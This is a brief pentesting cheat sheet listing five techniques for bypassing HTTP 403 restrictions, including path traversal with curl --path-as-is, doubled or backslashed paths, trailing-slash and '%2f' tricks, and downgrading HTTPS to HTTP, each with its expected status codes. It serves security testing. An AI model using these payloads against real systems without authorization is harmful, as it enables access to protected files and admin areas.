# 403 Bypass

#### <mark style="color:yellow;">Test case 1:</mark> Redirect based Bypass

```
curl -X GET --path-as-is https://example.com/private/
curl -X GET --path-as-is https://example.com/../admin/
```

#### <mark style="color:yellow;">Test case 2:</mark> Authentication Bypass

```
/api//users -> 200 OK
/api\users -> 200 OK
```

#### <mark style="color:yellow;">Test case 3:</mark>  Directory Based

If you see directory with no slash at end then do these acts there

```
site.com/secret => 403
site.com/secret/* => 200
site.com/secret/./ => 200
```

#### <mark style="color:yellow;">Test case 4:</mark> File Base

If you see file without any slash at end then do these acts there

```
site.com/secret.txt => 403
site.com/secret.txt/ => 200
site.com/%2f/secret.txt/ => 200
```

#### <mark style="color:yellow;">Test case 5:</mark> Protocol Base

Well, sound wired but check out the example for better understanding

```
https://site.com/secret => 403
http://site.com/secret => 200
```
